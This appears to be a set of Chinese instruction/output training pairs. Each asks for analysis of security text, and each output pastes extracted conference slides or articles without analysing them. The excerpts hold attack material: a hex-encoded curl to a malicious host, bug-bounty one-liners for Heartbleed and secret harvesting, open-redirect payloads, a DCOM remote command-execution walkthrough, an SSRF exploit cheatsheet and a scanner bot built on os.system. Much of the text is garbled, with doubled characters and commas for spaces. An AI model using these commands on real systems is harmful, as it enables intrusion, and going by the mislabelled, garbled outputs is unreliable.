Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Why Anomaly Based Intrusion
Detection Systems are a Hax0rs
Best Friend
By David Maynor
GT Information Security
David.Maynor@oit.gatech.edu
The history of the castle.
•
What is a Anomaly based IDS and how
does it differ from Signature based
systems?
a. Signature based systems rely on static
analysis of event.
b. Anomaly systems rely on creating a baseline
of normal activity then flag any deviations.
•
History
a. Where they come from.
b. What drives their development.
How the castle is built.
•
How anomaly based systems work.
a.
A baseline is normally gathered during a tuning
phase. Gather all traffic, analyze it, store it.
b.
Data mining process that does statistical analysis of
data.
•
Theory behind them.
•
a. If its traffic that hasn't been seen before, its bad.
•
b. Attacks cause things the system has not seen
before.
How the castle is built. (cont.)
• Can science brewed in research labs work in the wild?
a. Eggheads can build rockets, but can they build
security products?
b. Crackers excel at creating attacks that bypass
security models, why is traffic analysis any different?
• Hardware based considerations.
a. What kind of hardware is required to make this a
effective scalable solution?
b. Type of information that would have to be stored
leads to huge hardware requirements.
c. Speed.
-sniffing
-analysis
The castle was built on a shaky
foundation.
•
Problems.
a.
Unwieldy size.
b.
Hardware limitations.
c.
Integration of network changes.
•
Things anomaly based systems assume.
a.
If it hasn't been seen before, its bad.
b.
Machines have normal patterns that can be easily
distinguished.
c.
Networks don’t change.
•
This is somewhat of a half-truth.
The castle was built on a shaky
foundation. (cont.)
•
Why it is so hard to tell good traffic from bad
traffic?
a. Anomaly based systems rarely look at the payload.
b. If network runs in a nonstandard configuration there
are problems.
c. Attacks against commonly used services on the
machines are ignored.
...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Windows 本地提权在野 0day 狩猎之旅
Quan Jin <twitter: @jq0904>
DBAPPSecurity
Black Hat USA 2022
注：本文是作者在今年 Black Hat USA 2022 演讲议题的中文版
摘要
本文将讲述我们如何在 2020-2021 两年间狩猎 Windows 本地提权在野 0day 的故事：为什
么我们觉得这件事可行，我们如何研究历史案例，我们如何用学到的经验开发一套检测系统，
以及我们如何改进这套系统使之变得更准确。通过使用这套系统，我们成功捕获了两个
Windows 本地提权在野 0day 和一个 Windows 本地提权在野 1day。
此外，我们也将比较几种不同狩猎方法的优点和缺点，并给出一些对未来 Windows 本地提
权在野 0day 的趋势预测。
背景
从下图可以看出，从 2017 年到 2021 年，微软一共披露了 28 个在野的 Windows 本地提权
0day，它们中的大部分是 Windows 内核漏洞。这些漏洞通常被顶级 APT 组织使用，并且会
造成巨大危害。对安全厂商来说，捕获一个这样的在野 0day 是一件非常有挑战性的事情。
Windows 本地提权在野 0day (2017-2021)
是否有可能捕获一个 Windows 本地提权在野 0day？
为了回答这个问题，我们需要思考另外两个问题：
1.
如何获取有价值的数据源（可能含有在野 0day 的数据源）？
2.
如何开发一套有效的检测方法？
对于第一个问题，我们有一些自己的数据集。此外，历史案例表明像 VirusTotal 这类的公共
平台有可能出现 0day。因此，通过使用私有和公有数据集，我们可以解决第一个问题。
对于第二个问题，有两种方法可以从海量样本中捕获一个 0day：动态检测和静态检测。
a)
动态检测是指的是在真实环境中进行检测，或在沙箱中进行模拟执行，并通过异常行为
过滤出 0day 样本（典型代表是杀毒软件和沙箱）
b)
静态检测是指使用静态特征匹配出样本（典型代表是 YARA）
两种方法都有其优点和缺点。我们对两种方法都进行了一些思考和尝试。测试结果表明，静
态检测方法更适合我们。我们将在后文详细描述这个过程。
接下来，我将解释为什么我们花了大量时间研究历史上的 Windows 本地提权在野 0day。
从历史（和当下）中学习
为什么我们应当从历史中学习？
有三个原因：
1.
一些漏洞利用手法在一段时间内具有连续性
2.
从攻击者视角进行思考可以帮助我们更好地防御
3.
历史案例已经被整个安全社区仔细研究过（我们可以站在巨人的肩膀上）
我们如何学习历史案例？
为了从历史中学习，我们研究了超过 50 个 CVE 漏洞，涵盖了从 2014 年到 2021 年期间几乎
所有的 Windows 本地提权在野 0day 和部分 1day。
我们仔细统计了这些漏洞的发现厂商、使用组织、修补周期、初始披露文章、使用场景、被
攻击的系统版本、漏洞模块、漏洞类型、利用手法、公开的分析博客、公开的利用代码、原
始样本（如果有）和其他信息。
这里我想重点说明其中的几个关键点。
使用场景：
a)
样本是作为独立提权组件使用的，还是作为一个利用链的一部分？
b)
利用代码是基于无文件形式使用的（例如 dll reflection），还是包含在一个落地文件中？
这些信息会直接影响我们对不同检测方案的选取。
被攻击的系统版本：
许多 Windows 本地提权样本在使用前会检测操作系统版本，并且只能在一些特定的版本中
利用或触发。
这个信息在制作沙箱环境或漏洞复现环境时尤其有用。
漏洞模块：
通过统计历史样本的漏洞模块，我们可以得知哪个组件最多次被攻击，哪个攻击面在一段特
定时间内最受攻击者青睐。
这些信息可以帮助我们预测接下来最可能出现的漏洞。
漏洞类型：
通过统计历史样本的漏洞类型，我们可以推断攻击者最喜欢使用的漏洞类型，这个信息可以
帮助我们制作正确的复现环境（例如，是否需要配置 Driver Verifier）。这个信息也可以告诉
我们不同漏洞类型的流行程度（例如竞争条件漏洞在最近几年逐渐增多）。
利用手法：
我认为这是最重要的信息。我们统计了大多数 Windows 本地提权在野 0day 的漏洞利用手
法。基于这部分统计，我们得出了一些有价值的结论。例如，“bServerSideWindowProc”手
法在 2015 年到 2016 年很流行；使用“Previous Mode”手法去实现任意地址读写的手法从
2018 开始变得越来越流行；使用“HMValidateHan...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Hacker'Machine,Interface,
State,of,the,Union,for,SCADA,HMI,Vulnerabili:es,
Copyright,2016,Trend,Micro,Inc.,
2,
Introduc:on,
Copyright,2016,Trend,Micro,Inc.,
3,
Trend,Micro,Zero,Day,Ini:a:ve,
•  Fritz,Sands,',@FritzSands,
–  Security)Researcher)–)Zero)Day)Ini4a4ve)
–  Root)cause)analysis)and)vulnerability)discovery)
–  Focused)on)SCADA)HMI)vulnerability)analysis)
•  Brian,Gorenc,',@maliciousinput,
–  Senior)Manager)?)Zero)Day)Ini4a4ve)
–  Root)cause)analysis)and)vulnerability)discovery)
–  Organizer)of)Pwn2Own)hacking)compe44ons)
Copyright,2016,Trend,Micro,Inc.,
4,
SCADA,Industry,
Copyright,2016,Trend,Micro,Inc.,
5,
Marketplace,Overview,,
•  Focused,on,ICS,equipment,sales,over,soTware,sales,
•  Ac:ve,merger,and,acquisi:on,ac:vity,,
•  Highly,regionalized,,
Copyright,2016,Trend,Micro,Inc.,
6,
What,is,the,Human,Machine,Interface?,
•  Main,hub,for,managing,and,opera:ng,control,systems,
•  Collects,data,from,the,control,systems,
•  Presents,visualiza:on,of,the,system,architecture,
•  Alarms,operator/sends,no:ﬁca:ons,
•  Should,be,operated,on,isolated,and,trusted,networks,
Copyright,2016,Trend,Micro,Inc.,
7,
Why,target,the,Human,Machine,Interface?,
•  Control,the,targeted,cri:cal,infrastructure,
•  Harvest,informa:on,about,architecture,
•  Disable,alarming,and,no:ﬁca:on,systems,
•  Physically,damage,SCADA,equipment,
Copyright,2016,Trend,Micro,Inc.,
8,
Malware,Targe:ng,HMI,Solu:ons,
•  Stuxnet,
–  First,malware,created,to,target,ICS,environments,
–  Abused,HMI,vulnerabili:es,
•  Siemems,SIMATIC,STEP,7,DLL,Hijacking,Vulnerability,(ICSA'12'205'02),
•  Siemens,WinCC,Insecure,SQL,Server,Authen:ca:on,(ICSA'12'205'01),
•  ,BlackEnergy,
–  Ongoing,sophis:cated,malware,campaign,compromising,ICS,environments,
–  Abused,HMI,vulnerabili:es,
•  GE,CIMIPCITY,Path,Traversal,Vulnerabili:es,(ICSA'14'023'01),
•  Siemens,WinCC,Remote,Code,Execu:on,Vulnerabili:es,(ICSA'14'329'02D),
•  Advantech,WebAccess,(ICS'ALERT'14'281'01B),
Copyright,2016,Trend,Micro,Inc.,
9,
ICS'CERT,
•  Organiza:on,wit...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

•
什么是入侵攻击模拟
•
要解决的问题
•
存在的挑战
•
入侵攻击模拟演练
•
机制简介
•
突破入口模拟
•
防御水位衡量
•
模拟演练机制简介
•
检测/响应水位衡量
•
其他业务场景落地
•
企业采用多种安全措施，每一种都可能因
配置错误/运营问题失效，且难以察觉
•
如仅依靠蓝军或外采渗透测试，案例数量
较少、时间上不连续、可能遗漏、成本高
•
安全水位无法量化，建设效果难以衡量
•
从攻击者视角对企业基础设施进行持续的自动化安全测试
•
针对安全措施失效、蓝军成本高的问题
•
定义模型量化当前安全水位，发现问题，反哺防御检测能力
•
->解决无法量化的问题
•
2017年，Gartner将入侵攻击模拟技术(BAS)列为威胁对抗Hype Cycle
中的新类别
•
如何对入侵攻击场景进行威胁建模并分级
•
如何持续、尽量真实地测试并避免稳定性问题
•
防御、检测水位如何量化评估
•
什么是入侵攻击模拟
•
要解决的问题
•
存在的挑战
•
入侵攻击模拟演练
•
机制简介
•
突破入口模拟
•
防御水位衡量
•
模拟演练机制简介
•
检测/响应水位衡量
•
其他业务场景落地
杀伤链模型
攻击行为模拟
-->衡量检测响应水位
突破入口模拟
-->衡量防御水位
寻找突破入口
实施恶意行为
阻止攻击
检测响应修复
“利用成功”前后
攻防重点不同
攻击方
防守方
模拟演练方
脚本小子
专业蓝军
国家顶尖
技术水平一般，
主要利用现成
工具；资源少
技术水平较高，
自行编写工具；
资源较多
技术水平高，
可能使用0day；
资源丰富
•
什么是入侵攻击模拟
•
要解决的问题
•
存在的挑战
•
入侵攻击模拟演练
•
机制简介
•
突破入口模拟
•
防御水位衡量
•
模拟演练机制简介
•
检测/响应水位衡量
•
其他业务场景落地
录入测试
插件
原子能力
测试
随机拨测
回归测试
枚举入侵
威胁
防御措施
?
拦截
未拦
防御措施
防御措施
变更
攻击1
攻击2
攻击3
…
攻击1
攻击2
攻击3
…
优化防御策略
目标入口
攻击向量
绕过手法
恶意行为
Web通用组件-Jenkins
(脚本语言为Groovy)
远程命令执行漏洞
CVE-2018-1000861
编码-十六进制编码
(Groovy原生支持hex和base64)
连接恶意网站-curl
120.26.xx.xx:23333
“curl 120.26.xx.xx:23333”的十六进制
编码
目标入口
Target of Attack/
Vulnerable Point
攻击向量
Attack Vector/
Vulnerability
绕过手法
Bypass/Escape/
Encoding
恶意行为
Shellcode/Command/
Malicious Outcome
Web服务及组件
其他服务
自研服务/组件
通用服务/组件
注入
服务端请求伪造(SSRF)
不安全的反序列化
访问控制存在问题
…
X
X
X
编码
语法语义
架构/性能
数据渗出
后门植入/持久化
权限提升
凭证窃取
自研服务/组件
通用服务/组件
…
•
什么是入侵攻击模拟
•
要解决的问题
•
存在的挑战
•
入侵攻击模拟演练
•
机制简介
•
突破入口模拟
•
防御水位衡量
•
模拟演练机制简介
•
检测/响应水位衡量
•
其他业务场景落地
目标入口
攻击向量
攻击类型
绕过手法
恶意行为
POC
测试时间
拦截
情况
目标1
向量1
类型1
绕过1
行为1
…
时间1
✅
目标2
向量2
类型2
绕过2
行为2
…
时间2
❌
目标3
向量3
类型3
绕过3
行为3
…
时间3
✅
…
…
…
…
…
…
…
…
测试结果汇总
攻击类型
拦截数/
攻击数
未拦截
详情
命令执行
…/…
…
SQL注入
…/…
…
…
…
…
总计
…/…
…
原子能力衡量
目标入口
拦截数/攻
击数
分析
目标1
0/100
未接入防御措施
目标2
36/100
防御措施不足
…
…
…
随机拨测
回归测试
测试
样例
测试时间
(变更前)
拦截
测试时间
(变更后)
拦截
分析
攻击1
…
✅
…
✅
正常
攻击2
…
✅
…
❌
变更导致
防御失效
…
…
…
…
…
…
总计
…
100
…
88
需回滚
•
什么是入侵攻击模拟
•
要解决的问题
•
存在的挑战
•
入侵攻击模拟演练
•
机制简介
•
突破入口模拟
•
防御水位衡量
•
模拟演练机制简介
•
检测/响应水位衡量
•
其他业务场景落地
演练剧本
编排
攻击指令
执行
反入侵团
队介入
演练报告
生成
l 随机化剧本生成
Ø 机器数
Ø 应用范围
Ø 攻击阶段
Ø 。。。
攻击路径生成
Ø后门植入
Ø命令与控制
Ø持久化
Ø...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Career Mythbusters
Separating Fact from Fiction in your Security Career
Lee Kushner / Mike Murray
Lee@LJKushner.com / mmurray@episteme.ca
2
Who Are We?
•
Lee Kushner
–
Over 10 years of Success Recruitment of Information Security
Professionals
–
Founder and CEO of the Leading Information Security
Recruitment Firm, LJ Kushner and Associates LLC
–
Wide Range of Nationally Based Clients from Fortune 500s to
security product vendors
•
Mike Murray
–
Security professional with a decade of diverse experience.
–
Security blogger (Episteme.ca) specializing in talking about
security careers, author of the book “Forget the Parachute, Let Me
Fly the Plane”
–
Has managed security teams and helps people working with him
develop the career that they really want to have.
•
We bring very different perspectives on Careers
3
We’re Doing a Survey!
•
More data required
–
Through our roles, we gather a lot of anecdotal evidence, but we
can’t ever have enough hard data.
•
We want to give you something back.
–
Fill it out anonymously if you want, or provide an email address
and we’ll send you the survey and our analysis when we’re done.
–
We’ll take the data, slice and dice it, and give you more real
information about careers in infosec.
–
We’ll also give you Mike’s e-book on careers to help you know
more about finding a job, personal branding tools, etc.
•
Fill it out:
http://www.infosecleaders.com/survey
4
The Big Ones (Myths, that is...)
•
Job Hunting
–
Cover Letters Matter.
–
Resumes aren’t that important.
–
The hiring manager should hear of you from your
resume.
–
Interviews are for the company’s benefit.
–
Interviews are about your qualifications.
•
Managing your Job
–
Money is the most important benefit.
–
You will get a raise because you should.
–
Job title is one of the most important considerations.
•
Career Path
–
You should expect to stick with a single company.
–
Your company will help you figure out your career.
–
You don’t need to plan your career.
–
You ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

PEIMA: Using Power Laws to
address Denial of Service
Attacks
REDEZEM
Who Am I?
 Stefan Prandl
 PhD student, Curtin University
 That’s in Perth, Australia
 Networks and Network Security
 Also work with ES2 as a security
consultant
 Been breaking stuff since a young
age
Contents
 The stuff you’ve just seen
 Introduction to Power Laws
 What we’ve been doing; DDoS Defence
 What else you can do:
 IDS
 Diagnostics
 User ID-ing
 Then we’ll look at this tool thing I’ve thrown together
 Demo of what you can do
Introduction to Power Laws
 Natural processes, they’re
statistical
 Things descriptive of natural
processes follow power laws
 When they don’t, something’s
wrong
 Not all natural processes are
natural!
 Eg., Financial transactions
 You can use power laws to detect
fraud.
Or more honestly, power law probability distributions
That’s a mouthful though
Why does that matter?
 Somehow network traffic is
“natural”
 Good lord the machines are alive!
 So power laws must apply
 If they don’t, something is wrong
 Some power laws can be hard
coded
 Extremely fast and low cost
anomaly detection!
Benford’s Law
 Simple and awesome power law
 If it’s a number…
 Generated by a process…
 Process is natural…
 We know what the probability of
the first digit is!
 Never changes, you can hard
code it.
 Such speed. Wow.
What we’ve been doing:
DDoS Defence
 The more artificial the packet, the
worse the anomaly
 Flood DDoS (Amplification, tcp,
udp, http, etc attack) are very
loud
 Can be clearly seen in gestalt
connection data
 Practically instantaneous
 Real time in 100Mbit/1000Mbit
scenarios (probably much more)
 No training at all
How we do it
 Detection processes Tcpdump
data
 Extracts features
 Power law analysis tells us
“Goodness”
 Print out to csv with timestamp
 Or throw an alarm and do
something
 Iptables maybe.
What you can do with that
 Watch for DDoS attacks
 Probably won’t save your network
 Can determine if so...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

© 2012
Presented by:
Pwn’ing you(r) cyber offenders
Piotr Duszynski
@drk1wi
© 2012
;WHOAMI;#?
•
Senior Security Consultant @Trustwave OSCP, OSCE, CEH
•
In security field for the past 6 years, hacking since 9 …
•
Enjoys security research, crazy road trips, mojitos and good music
•
Regardless of this slide title tries not to be too nerdy
2
© 2012
What is this presentation about?
•
New defensive technique that renders your port scan results useless … WOOT
•
New attack vectors against you(r) attackers offensive toolbox … WOOT WOOT
•
Short introduction to a tool called:  Portspoof.
•
PWN’age POC DEMO for one of the well known port scanners.
3
Active (Offensive) defense in practice
© 2012
© 2012
“Blind attackers’ tools”
The art of Annoyance and Camouflage
© 2012
Destroying the reconnaissance phase
•
Typical case scenario ( a target system is behind a Firewall )
5
$ nmap –sV -O demo.addr.pl
© 2012
Portspoof – implementation of the idea
6
GOAL: “make your attackers port scanning experience a real pain”
Worst possible scenario:
•  All 65535 ports are open …
*Portspoof will bind to a single port
•  On every open port there is a service listening…
*Portspoof will dynamically generate valid service signatures ~ 8000 supported
Your task:
Identify all real services on the remote system…
© 2012
Rendering your port scan useless with
Portspoof
•
Worst case scenario (target system is behind the Portspoof) :
7
$ nmap –sV –p - -PN demo.addr.pl
….you will need a lot of patience!
© 2012
Rendering your port scan useless
8
Scanning statistics:
65.535 open ports (services)
~120 MB of sent data
30682 s (8.5h)
and few beers later …
© 2012
Rendering your port scan useless
•
NMAP OS identification results
9
$ nmap –sV -O demo.addr.pl
© 2012
Rendering your port scan useless
•
NMAP OS identification results:
10
Device type: general purpose
Running (JUST GUESSING): Linux 3.X (93%)
OS CPE: cpe:/o:linux:...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Hacking E.S.P.
Hacking E.S.P.
Disclaimer
Disclaimer
The views and opinions expressed in this
The views and opinions expressed in this
presentation are solely those of the
presentation are solely those of the
speakers and do not necessarily reflect
speakers and do not necessarily reflect
opinions of their employers, Defcon, the
opinions of their employers, Defcon, the
Riviera, residents of Las Vegas, residents
Riviera, residents of Las Vegas, residents
of Nevada, anyone in the United States or
of Nevada, anyone in the United States or
on the Planet Earth.  Nothing we are saying
on the Planet Earth.  Nothing we are saying
should be construed as legal advice.  Don't
should be construed as legal advice.  Don't
rely on anything that we say, do your own
rely on anything that we say, do your own
research.
research.
Who We Are!
Who We Are!
Joe Cicero is currently a Network Specialist Instructor for
Joe Cicero is currently a Network Specialist Instructor for
Northeast Wisconsin Technical College, he specializes in
Northeast Wisconsin Technical College, he specializes in
teaching Linux, Network Security, and Computer Forensics
teaching Linux, Network Security, and Computer Forensics
Courses. Joe has had positions covering every aspect of
Courses. Joe has had positions covering every aspect of
computers including:  Help Desk Support, Technician,
computers including:  Help Desk Support, Technician,
Programmer, Network Administrator, Directory of Technology,
Programmer, Network Administrator, Directory of Technology,
Columnist and of course Instructor.  He is most passionate
Columnist and of course Instructor.  He is most passionate
about teaching and enjoys having the time to "tinker" with all
about teaching and enjoys having the time to "tinker" with all
types of technology.
types of technology.
Michael Vieau is a independent security researcher located in
Michael Vieau is a independent security researcher located in
United States where ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

!
!
 Taie-Bugbounty-killer是什什么意思?
主要⽬目标是分享⼀一些更更快速的刷SRC赏⾦金金的⾃自动化挖洞洞技巧命令和⼯工具协同。使⽤用⾥里里⾯面的⽅方法，我们能
够快速批量量找到可以被利利⽤用的⼦子域、api令牌和其它敏敏感漏漏洞洞。
摘要
之前许诺给⼤大家的⾃自动化赏⾦金金挖洞洞技巧，现在来了了，我不不知道你们现在的挖洞洞⽅方式是什什么？我现在的挖
洞洞⽅方式是能⽤用⽼老老外的⼀一条命令⾃自动化或者整合⾃自动化我就不不⼿手动挨个去信息收集可以挖掘。希望这个系
列列可以给你们提供⼀一些不不⼀一样的挖洞洞思路路技巧。
1. ⼼心脏滴⾎血漏漏洞洞
By: @imranparray101
Source: link
下⾯面是⼀一个有⽤用的⼀一⾏行行命令来检查主机名列列表中是否存在OpenSSL Heartbleed漏漏洞洞:
请注意， Heartbleed （CVE-2014-0160）会导致服务器器内存内容泄漏漏和敏敏感信息泄漏漏。
2. 使⽤用grep提取urls
By: @imranparray101
Source: link
grep '-Eo' 参数将只打印匹配的⾏行行。这将使每个URL在⼀一⾏行行中逐⼀一打印出来：
cat list.txt | while read line ; do echo "QUIT" | openssl s_client -connect
$line:443 2>&1 | grep 'server extension "heartbeat" (id=15)' || echo $line:
safe; done
cat file | grep -Eo "(http|https)://[a-zA-Z0-9./?=_-]*"*
curl http://host.xx/file.js | grep -Eo "(http|https)://[a-zA-Z0-9./?=_-]*"*
验室制作翻译出品
3. 从APK中提取敏敏感信息
By: @MrR0Y4L3
Source: link
以下是从未打包的APK⽂文件（Android应⽤用程序）中提取有趣（潜在敏敏感）信息的提示：:
通过这⼀一⾏行行程序，我们可以识别url、API密钥、身份验证令牌、凭证、证书锁定代码等等。
请确保⾸首先使⽤用如下apktool解压缩APK⽂文件:
4. 远程解压缩zip⽂文件
By @el_vampinio
Source: link
你是否发现⼀一个可以在远程web服务器器上访问的⾮非常⼤大的zip⽂文件，并希望检查其内容，但您不不想等待下
载它？⽤用它没⽑毛病..
grep -EHirn
"accesskey|admin|aes|api_key|apikey|checkClientTrusted|crypt|http:|https:|passw
ord|pinning|secret|SHA256|SharedPreferences|superuser|token|X509TrustManager|in
sert into" APKfolder/
apktool d app_name.apk
验室制作翻译出品
Note that for this to work, the remote web server hosting the zip file has to support the range
HTTP header.
5. Top 25 开放重定向的dorks
By @lutfumertceylan
Source: link
下⾯面是25个最容易易发现开放重定向漏漏洞洞（"未验证的重定向和转发"）：
当URL参数（payload）在服务器器端没有得到正确的验证，导致⽤用户被重定向到⼀一个任意⽹网站时，⽹网站就
会受到Open Redirect的攻击。
虽然这对⽤用户没有任何重⼤大的威胁，但这个漏漏洞洞让⽹网络钓⻥鱼变得更更加容易易。
6. JWT token 绕过
pip install remotezip
# 列列出远程zip⽂文件的内容
remotezip -l "http://site/bigfile.zip"
# 从远程zip⽂文件解压出file.txt
remotezip "http://site/bigfile.zip" "file.txt"
/{payload}
?next={payload}
?url={payload}
?target={payload}
?rurl={payload}
?dest={payload}
?destination={payload}
?redir={payload}
?redirect_uri={payload}
?redirect_url...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

我是衬衫 忍者的弟弟 今天我去 TG 看片 发现了一个机器人 感觉很好玩 那我们也整一个
用来扫描吧！
首先 我们去买一个服务器 好的 1 分钟过去了 我们买完了
我们现在需要注册一个机器人
@BotFather TG 加他
起一个好听一点的名字就可以了
很快啊 我们就拿到了自己的 Token
https://core.telegram.org/bots/api 这个是 API 文档 可以随便看看
我建议大家先去看一次 python-telegram
那么开始吧
导包下
from telegram import Update,Bot
from telegram.ext import Updater, CommandHandler, MessageHandler, Filters, CallbackContext
首先 main 方法
绑定方法
我们先看看 start 方法去熟悉一下
update.message.reply_text(“这个是回复用的”)
我们可以通过这个 去发消息
怎么读取消息呢？
用这个 update.message.text
好的 我们弄出来最基本的东西了 我们现在可以通过 TG 发消息来调用 python 了
举个例子 我们来弄一个目录爆破
Pathscan
Bot 是用来发文件的 在上文
这个里面我用了 ffuf 来扫 因为快 然后保存到 test.json 里 用 sendDocument 去发文件
这里面我们输入的命令是/pathscan 通过上面的 add_handler 绑定的那个哦
我的一些正则 瞎 jb 写的
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import re
import requests
import os
from ESD import EnumSubDomain
import nmap
import socket
from telegram import Update,Bot
from telegram.ext import Updater, CommandHandler, MessageHandler, Filters, CallbackContext
bot=Bot("your token")
def parseDomain(info):
domain= re.findall('https?://(?:[-\w.]|(?:%[\da-fA-F]{2}))+', info)
return domain[0]
def parseInfo(info):
#取 URL
url =
re.findall('http[s]?://(?:[a-zA-Z]|[0-9]|[$-_@.&+]|[!*\(\),]|(?:%[0-9a-fA-F][0-9a-fA-F]))+',info)
return url[0]
def parseIP(info):
ip = re.findall("(?:[0-9]{1,3}\.){3}[0-9]{1,3}$",info)
domain = re.findall(r'(?:[a-zA-Z0-9](?:[a-zA-Z0-9\-]{,61}[a-zA-Z0-9])?\.)+[a-zA-Z]{2,6}', info)
if ip :
return ip[0]
elif domain
:
new_ip = socket.gethostbyname(domain[0])
return new_ip
def parseRootDomain(info):
rootdomain=re.search("([a-zA-Z0-9][-a-zA-Z0-9]{0,62}(\.[a-zA-Z0-9][-a-zA-Z0-9]{0,62}))",info)
return rootdomain[0]
def start(update: Update, context: CallbackContext) -> None:
update.message.reply_text("好兄弟 给我发个 URL 让我扫描吧")
update.message.reply_text(update.message.text)
def pathscan(update: Update, context: CallbackContext) -> None:
global bot
update.message.reply_text(parseDomain(update.message.text)+"扫描中好兄弟请不要着
急")
domain=parseDomain(update.message.text)
os.system("ffuf -w /root/dict/...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

T1175: Lateral Movement via DCOM
查看mitre ATT&CK 的描述，已经不推荐使用该技术，推荐使用Remote Services: Distributed
Component Object Model和Inter-Process Communication: Component Object Model。
参考：
The Component Object Model
LATERAL MOVEMENT USING EXCEL.APPLICATION AND DCOM
域渗透——利用DCOM在远程系统执行程序
组件对象模型
什么是DCOM（ Distributed Component Object Model ，分布式组件模型）,先说下COM
（Component Object Model ，组件对象模型）。
COM component（COM组件）是微软公司为了计算机工业的软件生产更加符合人类的行为方式
开发的一种新的软件开发技术。——百科
The Microsoft Component Object Model (COM) is a platform-independent, distributed,
object-oriented system for creating binary software components that can interact. COM is
the foundation technology for Microsoft's OLE (compound documents), ActiveX (Internet-
enabled components), as well as others.——MSDN
简要的描述下COM：
COM 不是一种面向对象的语言，而是一种标准，和编程语言或OS无关。
COM对语言的唯一要求：代码在能够创造指针结构的语言中生成，并且能够通过指针显式或隐式
的调用函数。
COM 主要的两个内容：对象和接口
每个对象和接口都关联一个128位的GUID（全局唯一标识符），称为类CLSID（类标识符），用于
标识唯一的COM对象。
COM 类在操作系统中注册的，位于注册表中：
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID
DCOM是什么？ RPC+COM == DCOM ,DCOM允许COM组件利用网络来传输数据。
笔者这里只是简单里描述关键概念，Microsoft 为了实现跨机器、跨语言、跨平台、跨进程，
COM的内容非常之复杂。
对DCOM有了一个了解，下面的测试过程可以概括为：利用DCOM 远程调用COM组件执行命令
Execution
MMC20.Application COM class 存储在注册表中：
和目标建立连接：
通过DCOM对象在受害者系统上执行命令：
仅演示，既然能执行cmd，就能执行其他命令，反弹shell，存活探测等等。
不要局限演示，例如在Cobalt Strike   beacon 中执行命令等等。
Get-ChildItem 'registry::HKEY_CLASSES_ROOT\WOW6432Node\CLSID\{49B2791A-B1AE-
4C90-9B8E-E860BA07F889}'
$a =
[System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application.
1","192.168.3.142"))
$a.Document.ActiveView.ExecuteShellCommand("cmd",$null,"/c hostname >
c:\Hostname.txt","7")
Observations
先看下整个执行命令过程发生的日志：
使用ProcessMonitor 查看下进程详情：
mmc.exe 的父进程是 svchost.exe ,在TCP/IP 菜单中可以查看到 PC-jerry-0day 向 OWA2010SP3 建立的
连接。
使用ProcessMonitor 查看 "mmc.exe"启动过程中的调用 stack（堆栈），调用了 rpcrt4.dll :
小结
使用DCOM横向的方法还有很多，文章的原作者写了几篇关于DCOM 横向的，有机会在学习吧，可能
我们用的最多的是 impacket 中的dcomexec ,原理上有所不同，具体哪里不同，笔者也说不上来（如果
有知道的师傅请指教），唯一注意的点，需要管理权限。
参考
View::ExecuteShellCommand method
LATERAL MOVEMENT USING...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

SSRF bible. Cheatsheet
If you have any questions, please post them in the comments!
Revision 1.02
6 august 2014
Authors:
@ONsec_Lab
http://lab.onsec.ru [ENG]
@Wallarm research team
blog.wallarm.com
1
Table of contents
Table of contents
Basics
Typical attack steps
File Descriptors exploitation way
URL schema support
Protocols SSRF smuggling
Smuggling examples
Apache webserver HTTP parser
Nginx webserver HTTP parser
Vulnerabilities
Basics
Examples
Google Docs
ZeroNights hackquest challenge
Exploitation tricks
Bypassing restrictions
Input validation
Unsafe redirect
DNS pinning
PHP fsockopen() url parsing tricks
Network restrictions
Protocol fingerprinting
Examples
HTTP
Memcached
Retrieving data
Examples
HTTP response encapsulation into XML formatted response
2
Console cURL wildcards URL responses concatenation
SMBRelay exploitation
Original request data sniffing
Examples
Memcached
Exploits
PHPFPM
Syslog
Exploits
Zabbix agentd
Exploits
Postgres
Exploits
MongoDB
CouchDB
Exploits
FFmpeg
References
Tools
Researches
3
Basics
SSRF  Server Side Request Forgery attacks. The ability to create requests from the vulnerable server to intra/internet. Using
a protocol supported by available URI schemas, you can communicate with services running on other protocols. Here we collect the
various options and examples (exploits) of such interaction. See for introduction related researches.
Typical attack steps
1.
Scan internal network to determine internal infrastructure which you may access
2.
Collect opened ports at localhost and other internal hosts which you want (basically by timebased determination)
3.
Determine services/daemons on ports using wiki or daemons banners (if you may watch output)
4.
Determine type of you SSRF combination:
○
Direct socket access (such as this example)
○
Sockets client (such as java URI, cURL, LWP, others)
5.
In case of direct socket access determine CRLF and other inje...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Evading next-gen AV using A.I.
Hyrum Anderson
hyrum@endgame.com
@drhyrum
/in/hyrumanderson
The Promise of Machine Learning
• Learn from data what constitutes malicious
content or behavior
• Discriminatory patterns learned automatically,
not obviously constructed by hand
• Generalize to never-before-seen samples and
variants…
•
…so long as data used for “training” is representative of
deployment conditions
•
motivated adversaries actively trying to invalidate this
assumption
x1
rule malware {
strings:
$reg = “\\CurrentVersion\\Internet Settings”
condition:
filesize < 203K and #reg > 3  }
Goal: Can You Break Machine Learning?
§
Static machine learning model trained on millions of samples
x1
Machine Learning
Model
score=0.75
(malicious, moderate confidence)
•
Simple structural changes that don’t change behavior
Machine(Learning(
Model
score=0.49
(benign, just barely)
•
unpack
•
‘.text’ -> ‘.foo’ (remains valid entry point)
•
create ‘.text’ and populate with ‘.text from calc.exe’
Adversarial Examples
• Machine learning models have blind spots / hallucinate (modeling error)
• Depending on model and level of access, they can be straightforward to exploit
•
e.g., deep learning is fully differentiable
(directly query what perturbation would best bypass model)
• Adversarial examples can generalize across models / model types (Goodfellow 2015)
•
blind spots in YOUR model may also be blind spots in MY model
(scaled(for(visibility)
image(credit:(http://www.popsci.com/byzantine-science-deceiving-artificial-intelligence
Taxonomy of Attacks Against ML
• …can get a score
•
black box…
•
…but can arbitrarily probe
and get a score
•
score = raw output /
